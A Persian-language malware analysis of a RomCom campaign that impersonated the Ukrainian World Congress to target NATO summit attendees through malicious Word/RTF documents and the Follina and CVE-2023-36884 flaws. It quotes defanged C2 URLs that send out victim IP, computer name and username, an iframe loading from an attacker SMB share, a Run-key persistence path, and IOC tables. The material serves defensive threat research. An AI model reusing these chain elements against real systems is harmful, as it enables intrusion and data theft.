در 4 جولای محققای BlackBerry دو تا داکیومنت مخرب پیدا کردن که از IP مجارستان ارسال شده بود و داخلشون یه سازمان حمایتی از اوکراین رو جعل کرده بودن تا مهمانان نشست ناتو در خصوص اوکراین رو هدف قرار بدن.
بین 11 تا 14 جولای ، لیتوانی میزبان نشست سران ناتو بوده تا در خصوص موضوعات مختلفی از جمله پیوستن کامل اوکراین به این سازمان صحبت کنن.
بازیگران تهدید از این رویداد سوء استفاده کردن و یه داکیومنتی رو با جعل هویت سازمان کنگره جهانی اوکراین ایجاد و توزیع کردن تا بین حامیان اوکراین پخش بشه.
تکنیکی که در این سند مخرب استفاده شده ، RTF exploitation هستش. قربانی وقتی سند رو باز میکنه، یه بدافزاری رو دانلود و اجرا میکنه.
محققا همچنین اعلام کردن که یه سند دیگه ای رو هم پیدا کردن که احتمالا هدفش نشست ناتو بوده.
بردار حمله :
بازیگران تهدید با استفاده از فیشینگ نیزه ای ، قربانیان رو فریب دادن تا روی لینکی از سایت جعلی کنگره جهانی اوکراین کلیک کنن. برای دامنه هم از تکنیک typosquatting استفاده کردن که بجای org از info استفاده شده.
دامنه اصلی |
دامنه جعلی |
ukrainianworldcongress[.]org | ukrainianworldcongress[.]info |
محققای blackberry براساس TTPهای حمله، این کمپین رو به گروه هکری روسی RomCom نسبت دادن.
ابزارها :
همونطور که بالا اشاره شد، بازیگران دو تا فایل داکیومنت مخرب ارسال کردن. یکی از فایلها بنام Overview_of_UWCs_UkraineInNATO_campaign.docx بوده که داخلش یه فایل RTF بنام afchunk.rtf قرار داده شده.
وقتی کاربر این فایل باز میکنه، یه شی OLE از فایل RTF لوود میشه و به آدرس IP:104.234.239[.]26 وصل میشه که مربوط به سرویس های VPN/proxy هستش. این اتصالها به پورتهای 80 و 139 و 445 وصل میشن که مربوط به سرویس های HTTP و SMB هستش.
همونطور که در شکل بالا مشاهده میکنید، یه فایلی بنام file001.url لوود میشه که یه داکیومنت مانند فایلهای ورد هستش. شکل زیر نشون دهنده فایلهای داخل file001 هستش.
شکل زیر هم محتوای فایل file001.urlx رو مشاهده میکنید :
هدف این فایل اینه که یسری OLE stream رو داخل ورد لوود کنه، تا یه تگ iframe اجرا بشه که مسئول اجرای مراحل بعدی حمله هستش.
در ابتدا سعی میکنه آدرس IP کامپیوتر رو بدست بیاره و اونو در پارامتر “?d=” قرار میده ، بعدش یه مسیر در “/appdata/local/temp/” می سازه.
محققا همچنین اعلام کردن که یسری ارتباطات دیگه ای از پیلود ورد اصلی مشاهده کردن که آدرس IP قربانی رو در قالب پارامترهایی ارسال میکنه:
1 2 3 |
hxxp://74.50.94[.]156/MSHTML_C7/zip_k.asp?d=34.141.245.25_f68f9_ hxxp://74.50.94[.]156/MSHTML_C7/zip_k2.asp?d=34.141.245.25_f68f9_ hxxp://74.50.94[.]156/MSHTML_C7/zip_k3.asp?d=34.141.245.25_f68f9_ |
بعداز اتصال به IP:\\104.234.239[.]26\share1\MSHTML_C7\file001.url
، یه اتصال دومی هم در afchunk.rtf از طریق HTTP به همون سرور ذکر شده در سه URL بالا ایجاد میشه.
فایل hxxp://74.50.94[.]156/MSHTML_C7/start.xml
حاوی یه تگ iframe دیگه ای هستش که یه فایلی بنام RFile.asp رو لوود میکنه. همچنین در متغیر lt مقدار > و در متغیر gt مقدار < رو ذخیره میکنه.شکل زیر نشون دهنده محتوای start.xml هستش.
هر زمان که کاربر از وب سایت بازدید میکنه، چندین فایل بطور خودکار در سرور ایجاد میشه تا در هنگام نفوذ از اونا استفاده بشه. این فایلها از آدرس hxxp://74.50.94[.]156/share1/MSHTML_C7/1
ارسال میشن.
شکل زیر نشون دهنده داده های قربانی هستش که توسط بازیگر تهدید گرفته شده.
با توجه به اینکه یه تگ iframe وجود داره، یه درخواست HTTP دیگه ای رو خواهید دید که بطور خودکار به فایل RFile.asp ارسال میشه که در همون مسیر قرار داره. هدف فایل RFile.asp لوود iframe دیگه ای با یه فایلی هستش که قبلاً بطور خودکار تولید شده که حاوی آدرس IP قربانی هستش. شکل زیر محتوای فایل RFile.asp رو نشون میده :
همنطور که در شکل بالا مشاهده میکنید، یه مکث 15000 میلی ثانیه ای (15 ثانیه) انجام میشه. بعدش یه Iframe در مسیر file//104.234.239[.]26/share1/MSHTML_C7
لوود میشه. در نهایت یه Iframe دیگه اجرا میشه که یه فایلی رو لوود میکنه که بطور خودکار توسط سرور با IP قربانی و یه شناسه 5 رقمی ایجاد میشه. قالب اون به این صورت هستش که در اون ، 99.99.99.99 آدرس IP قربانی (فرضی) و a15fa شناسه 5 رقمی هستش.
1 |
< iframe src = file: //104.234.239[.]26/share1/MSHTML_C7/1/99.99.99.99_a15fa_file001.htm?d=99.99.99.99_ a15fa_></iframe> |
شکل زیر هم ابتدای محتوای فایل “<ipv4>_<id>_file001.htm>” رو نشون میده.
همونطور که در شکل بالا قابل مشاهده هستش، در ابتدا o2010 برابر false قرار میده. بعدش با استفاده از تگ img ، آیکون اکسل رو لوود میکنه. فرض شده که Microsoft Office14 رو سیستم نصب شده. اگه تصویر به درستی لوود بشه، مقدار o2010 رو برابر true قرار میده.
در ادامه تگ div رو داریم که با ID یک تا پنج مقداردهی شدن. مورد اولی یه iframe هستش که در قالب “ipv4>_<id>_file001.search-ms>
” هستش. بعنوان یه مثال :
1 |
99.99.99.99_a15fa_file001.search-ms |
در ادامه فایل “ipv4>_<id>_file001.htm>” ، تگ script مقدار دهی اولیه میشه و چند متغیر برای استفاده در طول اجرای این فایل htm رو داریم . شکل زیر نشون دهنده تنظیمات لازیم برای تگ script هستش :
متغیر | مقدار |
CompName | computer name قربانی |
UName | نام کاربری قربانی |
loc | آدرس اصلی URL |
d_s | مقدار “?d=” رو ذخیره میکنه که بعد از آلودگی مورد استفاده قرار میگیره. |
dx | با استفاده از تابع indexOf یه ایندکسی رو برمیگردونه که مشخص کننده عنصری هستش که در آرایه پیدا شده. |
d | در if ، مقدار پارامترهای داده شده در “?d=” رو که آدرس IP هستش، بدست میاره. |
بعد از اینکه متغیرها مقداردهی شدن، متد setTimeout فراخوانی میشه تا بعد از 1.3 ثانیه توابعی که با f1 شروع میشن ، رو اجرا کنه.
4 تا تابع که با f1 شروع میشن، تعریف شدن و به ترتیب فراخوانی میشن.
- تابع f1 ، محتوای div با ID برابر d1 رو به “<b>!</b>” تغییر میده. بعدش 1.3 ثانیه منتظر میمونه و تابع f1a رو فراخوانی میکنه.
- تابع f1a ، یه iframe جدید با محتوای
"hxxp://74.50.94[.]156/MSHTML_C7/zip_k.asp?d=99.99.99.99"
رو به div با id برابر d2 اضافه میکنه. بعدش 1.3 ثانیه منتظر میمونه و تابع f1b رو فراخوانی میکنه. - تابع f1b ، این تابع هم کار f1a رو انجام میده با این تفاوت که محتوای Iframe برابر
"hxxp://74.50.94[.]156/MSHTML_C7/zip_k2.asp?d=99.99.99.99"
هستش. دوباره بعد از 1.3 ثانیه تابع f1c رو فراخوانی میکنه. - تابع f1c ، یه iframe جدید با محتوای
"hxxp://74.50.94[.]156/MSHTML_C7/zip_k3.asp?d=99.99.99.99"
رو به div با id برابر d3 اضافه میکنه. دوباره بعد از 1.3 ثانیه تابع f2 رو فراخوانی میکنه.
در انتهای فایل “ipv4>_<id>_file001.htm>” یسری تابع و iframe دیگه هم هستش که به ترتیب لوود و اجرا میشن.
- تابع F2 محتوای div با ID برابر با d1 رو تغییر میده و یه iframe جدید با محتوای فایل
"ipv4>_<id>_file001.search-ms>"
ایجاد میکنه مثلا به اینصورت میشه :iframe:99.99.99.99_a15fa_file001.search-ms
. محتوای div با id برابر d1 مشابه ابتدای فایل htm هستش. بعد از 1.3 ثانیه تابع f3 رو فراخوانی میکنه. - تابع f3 ، بررسی میکنه که آیا متغیر o2010 برابر false هستش یا true :
- اگه مقدارش false باشه : محتوای div با id برابر d3 رو تغییر میده و یه شی جدید به html اضافه میکنه. هدف از استفاده از این شی بجای iframe نمایش یک فایل دیگه هستش. منبعی که لوود میشه :
redir_obj.html?d=<ipv4>&c=<computer>&u=<username>
- اگه مقدار true باشه: محتوای div با id برابر d3 رو تغییر میده و یه iframe جدید با محتوای فایل
iframe:hxxp://74.50.94[.]156/MSHTML_C7/o2010.asp?d=99.99.99.99
بهش اضافه میکنه.
- اگه مقدارش false باشه : محتوای div با id برابر d3 رو تغییر میده و یه شی جدید به html اضافه میکنه. هدف از استفاده از این شی بجای iframe نمایش یک فایل دیگه هستش. منبعی که لوود میشه :
همونطور که مشاهده کردید در اغلب iframeها یه فایل با فرمت search-ms لوود میشه. اینا فایلهای Windows-saved هستن و میتونن جستجوی فایل از طریق ویندوز انجام بدن. این فایلها کوئری جستجو رو در قالب جستجوی Windows Search ذخیره میکنن و مشخص میکنن که چی قراره جستجو بشه، کجا جستجو بشه و نتایج چطوری نمایش داده بشه. در فرمت xml هستن و در فولدر "userprofile%\Searches folder%"
ذخیره میشن.
این زنجیره اجرایی از آسیب پذیری CVE-2022-30190 که به Follina هم معروفه استفاده میکنه، که یه زیرودی روی Microsoft Support Diagnostic Tool (MSDT) بود و در مه 2022 کشف شد. اکسپلویت موفق امکان اجرای کد از راه دور رو با استفاده از داکیومنت های مخرب rtf یا docx رو میده. این تکنیک در صورتیکه ماکروها بسته باشن یا حتی اگه سند در حالت محافظت شده باز بشه هم کار میکنه.
علاوه براین فایلهای جستجو، یسری فایل دیگه هم در iframeها لوود میشن از جمله redir_obj.html که سه مقدار رو در درخواست GET میگیره :
- d: همانطور که قبلا دیدیم، آدرس IP قربانی هستش
- c: حاوی اطلاعاتی از سیستم قربانیه
- u: نام کاربری سیستم قربانی
1 |
<meta http-equiv=refresh content="0;URL=file://computer01/c$/users/bob/appdata/local/temp/temp1_99.99.99.99file001.zip/1111.htm"> |
در مثال بالا ، پارامترها بصورت زیر تنظیم شدن :
d= 99.99.99.99
c=computer01
u=bob
اگه یکی از موارد وجود نداشته باشه مقدار زیر برمیگردونه : (مقدار پارامتر u داده نشده)
1 |
< html > d = true < br > c = true < br > u = false < /html> |
بدافزار :
برای استفاده از رشته ها، دانلودر باید اونارو رمزگشایی کنه. برای این کار از یه کلید 64 بیتی منحصربه فرد برای هر رشته استفاده میکنه.
براساس همین الگوریتم رمزگذاری، محققای Blackberry معتقدند که پشت این حمله RomCom یا یکی از اعضای تیم RomCom هستش.
بعد از شروع اجرای اسکریپتها تا پیلود نهایی که RomCom downloader هستش، در نهایت فایل به سرور راه دور متصل میشه و قربانی رو در اون رجیستر میکنه :
1 |
hxxp://finformservice[.]com:80/api/v1.5/subscriptiontoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTIzNDU2Nzg5LCJuYW1lIjoiSm9zZXBoIn0.OpOSSw7e485LOP5PrzScxHb7SR6sAOMRckfFwi4rp7o |
بعدش یه فایل و دایرکتوری در سیستم ایجاد میشه. اگه قربانی مورد توجه بازیگر قرار بگیره پیلود مراحله بعدی حمله لوود میشه :
1 |
C:\\Users\\Public\\AccountPictures\\Defender\\Security.dll |
RomCom downloader فایل security.dll رو در کلید رجیستری زیر برای پرسیست قرار میده :
1 |
SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
وقتی پیلود با موفقیت دانلود شد، RomCom downloader سرویس ویندوز رو اجرا میکنه و اطلاعاتی مانند موارد زیر رو از سیستم قربانی جمع آوری میکنه :
- نام کاربری
- میزان رم سیستم
- اطلاعاتی در خصوص network adapter سیستم
در زیر یسری رشته رو مشاهده میکنید که در زمان اجرا رمزگشایی شدن :
1 2 3 4 5 6 7 8 9 10 11 12 |
hxxp://65.21.27[.2]50:8080/mds/O-------------------------- hxxp://finformservicecom:8080/mds/S-------------------------- hxxp://65.21.27[.]250:8080 /mds/D-------------------------- \OneDriveSrvdll CreateServiceW C:\Windows\System32\svchost.exe -k DcomLaunch {2781761 E-28E0-4109-99FE-B9D127C57AFE} SOFTWARE\Classes\CLSID\_sam_ SOFTWARE\Classes\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}\InProcServer32 \WindowsNT\Accessories\wordpad.exe SOFTWARE\Microsoft\Windows\CurrentVersion\Run DcomLaunchOneDrive Srv |
زیرساخت شبکه :
محققا دسترسی به چندین C2 و IP قربانی رو از یه سرور ، IP:143[.]198.18.163 ، مرتبط دونستن که این سرور به زیرساختهای شناخته شده RomCom هم دسترسی داشته. بر همین اساس محققا معتقدند که با احتمال متوسط به بالا پشت هر دو حمله یکه گروه هستش.
IP | First Seen | Last Seen | Description | Port |
104[.]234.239.26 |
6/13/23 17:17 |
6/15/23 7:55 |
OLE fileshare from Lure | 445 |
138[.]124.183.8 |
6/14/23 7:08 |
6/28/23 11:31 |
RomCom C2 bentaxworld[.]com | 443 |
45[.]9.148.118 |
6/14/23 8:25 |
6/29/23 15:08 |
RomCom C2 penofach[.]com | 443 |
45[.]9.148.219 |
6/15/23 12:01 |
6/15/23 13:19 |
22 | |
45[.]9.148.123 |
6/19/23 8:18 |
6/22/23 14:48 |
RomCom C2 altimata[.]org | 443 |
74[.]50.94.156 |
6/21/23 11:56 |
6/29/23 8:14 |
OLE C2 from lure | 3389 |
209[.]159.147.170 |
6/26/23 12:18 |
6/29/23 8:22 |
Accessed SMB Share | 3389 |
66[.]23.226.102 |
6/26/23 12:19 |
6/29/23 7:48 |
Accessed SMB Share | 443 |
209[.]127.116.190 |
6/26/23 15:15 |
6/29/23 5:27 |
3389 | |
65[.]21.27.250 |
6/28/23 13:30 |
7/5/23 11:19 |
Finformservice[.]com | 22 |
شکل زیر هم نشون دهنده ارتباط با زیرساخت شناخته شده و کمپین حمله به ناتو هستش :
همچنین بازیگرات تهدید RomCom از همون ساختار گواهی SSL استفاده کردن که در موارد قبلی استفاده شده بود. شکل زیر نشون دهنده ساختار گواهی های SSL و جدول زمانی در این کمپین هستش. یه گواهی هم در 6 جولای ساختن که مشابه یه گواهی در یه C2 دیگه هستش.
وقتی کمپین شروع به استفاده از یه دامنه میکنه که قبلا یه گواهی self-signed داره، یه گواهی public certificate ثبت میشه. در 29 ژوئن دامنه penofach[.]com یه گواهی معتبر برای زیردامنه dashboard.penofach[.]com ثبت کرده و یه داشبورد با یه صفحه ورود رو میزبانی میکرده.
در نهایت محققا براساس شواهد زیر این کمپین رو به RomCom نسبت دادن :
- زمینه ژئوپلیتیکی
- ثبت دامنه و اسکریپت HTML وب سایت های قانونی
- شباهتهای مشخصی در کد بین این کمپین و کمپینهای شناخته شده RomCom
- اطلاعات زیرساخت شبکه
مایکروسافت و استفاده از اکسپلویت زیرودی CVE-2023-36884 :
مایکروسافت هم در خصوص این کمپین گزارشی منتشر کرده . در این گزارش اومده که مایکروسافت یه کمپین فیشینگ رو شناسایی کرده که توسط یه بازیگر تهدید بنام Storm-0978 انجام شده که با نامهای DEV-0978 و RomCom هم شناخته میشن. در این کمپین نهادهای دولتی اروپایی و آمریکای شمالی هدف قرار گرفتن و از یه آسیب پذیری زیرودی به شناسه CVE-2023-36884 و با جعل عنوان کنگره جهانی اوکراین استفاده شده.
گروه Storm-0978 یه گروه روسی هستش که به انجامه حملات باج افزاری ، اخاذی و جمع آوری اعتبارنامه ها برای حملات جاسوسی معروفه. این گروه یه بکدور بنام RomCom دارن و یه باج افزار بنام Underground دارن که شبیه به باج افزار Industrial Spy ransomware هستش. در یه مورد از باج افزار Trigona هم استفاده کردن.
این گروه به استفاده از برنامه های قانونی آلوده شده هم معروف هستن از جمله محصولات Adobe و Advanced IP Scanner و Solarwinds Network Performance Monitor و Solarwinds Orion و KeePass و Signal . برای ارائه این برنامه های آلوده هم از دامنه هایی مشابه اسم برنامه ها استفاده میکنن مثلا advanced-ip-scaner[.]com .
حملات فیشینگشون رو اغلب با مسائل سیاسی اوکراین جلو می برن . اما فعالیت های باج افزاریشون متفاوت هستش و اغلب صنایع مالی و مخاربراتی رو هدف قرار میدن.
در کمپین فیشینگ اخیر، این گروه از یه لودر جعلی OneDrive برای توزیع یه بکدور که شبیه به بکدور RomCom بوده استفاده کردن. ایمیلهای فیشینگ به سازمانهای دفاعی و دولتی در اروپا و آمریکای شمالی با جعل کنگره جهانی اوکراین ارسال شدن. این ایمیلها از طریق آسیب پذیری CVE-2023-36884 منجر به اکسپلویت میشدن.
فایلهای نمونه :
برای دانلود فایلهای نمونه در این کمپین و گزارش از صفحه گیتهاب ما دیدن نمایید.
IOCهای گزارش :
Main Word Documents
Sha256 | a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f |
File Name | Overview_of_UWCs_UkraineInNATO_campaign.docx |
File Size | 120614 bytes |
Created Date | 2023:06:26 12:57:00Z |
Modify Date | 2023:06:27 16:27:00Z |
Last Modified by | vboxuser |
ZipCRC | 0xb71a911e |
Sha256 | 3a3138c5add59d2172ad33bc6761f2f82ba344f3d03a2269c623f22c1a35df97 |
File Name | Letter_NATO_Summit_Vilnius_2023_ENG(1).docx |
File Size | 24690 bytes |
Created Date | 2023:06:19 10:50:00Z |
Modify Date | 2023:06:27 16:22:00Z |
Last Modified by | vboxuser |
ZipCRC | 0xb71a911e |
Malicious RTF
Sha256 | e7cfeb023c3160a7366f209a16a6f6ea5a0bc9a3ddc16c6cba758114dfe6b539 |
File Name | afchunk.rtf |
File Size | 44146 bytes |
Created Date | 2022:08:29 04:36:00 |
Modify Date | 2022:08:29 04:37:00 |
Last Modified by | X |
Default Languages | Portuguese – Brazil, Arabic – Saudi Arabia |
Second Stage
Sha256 | 07377209fe68a98e9bca310d9749daa4eb79558e9fc419cf0b02a9e37679038d |
File Name | File001.url |
File Size | 23870 bytes |
Created Date | 2022:04:13 13:11:00 |
Modify Date | 2022:04:13 13:11:00 |
Last Modified by | Eduardo |
Author | Eduardo |
Language Code | Portuguese (Brazilian) |
Domain | hxxp://finformservice[.]com:80/api/v1.5/ subscriptiontoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJpZCI6MTIzNDU2Nzg5LCJuYW1lIjoiSm9zZXBoIn0. OpOSSw7e485LOP5PrzScxHb7SR6sAOMRckfFwi4rp7o |
IP | hxxp://65.21.27.250:8080/mds/O————————–hxxp://65.21.27.250:8080/mds/D————————–hxxp://65.21.27.250:8080/mds/S————————– |
Sha 256
Md5 |
1a7bb878c826fe0ca9a0677ed072ee9a57a228a09ee02b3c5bd00f54f354930f
f4959e947cee62a3fa34d9c191dd9351 |
ITW File Name | Calc.exe |
Compilation Stamp | 2023-06-30 06:29:32 UTC |
File Type/Signature | X64 DLL |
File Size | 262656 bytes |
Compiler Name/Version | MS C++ 2022 v 17.4 |
<Additional Information> | The sample contains the encryption strings of the algorithm used in the RomCom RAT. |
منابع: